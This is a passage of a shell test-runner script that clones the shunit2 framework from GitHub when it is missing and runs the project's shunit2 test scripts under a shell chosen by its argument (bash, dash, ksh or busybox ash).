1 14 | fi 15 | 16 | # Download the shunit2 test framework 17 | if [ -d 'shunit2' ]; then 18 | echo 'Use existing shunit2 framework' 19 | else 20 | echo 'Get current shunit2 framework from github' 21 | git clone --quiet --no-tags --single-branch --depth 1 https://github.com/kward/shunit2.git 22 | fi 23 | 24 | if ! [ -d 'shunit2' ]; then 25 | echo 'Can not download shunit2 testframework' >&2 26 | exit 1 27 | fi 28 | 29 | # Activate colored output 30 | export SHUNIT_COLOR 31 | SHUNIT_COLOR='always' 32 | 33 | # Run the tests 34 | for runner in ./tests/run_shunit2_*.sh; do 35 | runner="$(readlink -e "$runner")" 36 | echo ">>> start script '$runner'" 37 | case $1 in 38 | bash) bash -i "$runner" ;; 39 | dash) dash "$runner" ;; 40 | ksh) ksh -i "$runner" ;; 41 | ash) busybox ash "$runner" ;; 42 | *) echo 'ERROR: invalid argument, must be a shell name' >&2 43 | exit 1 ;; 44 | esac 45 | done 46 | 47 | --------------------------------------------------------------------------------